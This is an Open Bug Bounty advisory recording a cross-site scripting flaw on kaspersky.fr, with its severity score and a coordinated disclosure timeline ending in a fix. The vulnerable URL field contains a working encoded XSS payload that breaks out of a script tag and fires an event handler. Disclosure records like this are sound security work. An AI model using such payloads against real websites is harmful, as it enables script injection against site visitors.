kaspersky.fr XSS vulnerability

2018-02-20T16:57:00
ID OBB:564228
Type openbugbounty
Reporter Y4r4G_
Modified 2018-03-31T19:40:00

Description

Open Bug Bounty ID: OBB-564228

Description| Value
---|---
Affected Website:| kaspersky.fr
Vulnerable Application:| Custom Code
Vulnerability Type:| XSS (Cross Site Scripting) / CWE-79
CVSSv3 Score:| 6.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N]
Disclosure Standard:| Coordinated Disclosure based on ISO 29147 guidelines
Remediation Guide:| OWASP XSS Prevention Cheat Sheet

Vulnerable URL:
https://www.kaspersky.fr/blog//?s=%22%27--%21%3E%3C%2fScript%250C%3E%3CBody%2fOnPageShow%3Dconfirm%28document.domain%29%3E&submit;=
Coordinated Disclosure Timeline

Description| Value
---|---
Vulnerability Reported:| 20 February, 2018 16:57 GMT
Vulnerability Verified:| 20 February, 2018 17:08 GMT
Website Operator Notified:| 20 February, 2018 17:08 GMT
Vulnerability Published:| 20 February, 2018 17:08 GMT[without any technical details]
Vulnerability Fixed:| 31 March, 2018 19:40 GMT
Public Disclosure:| 31 March, 2018 19:40 GMT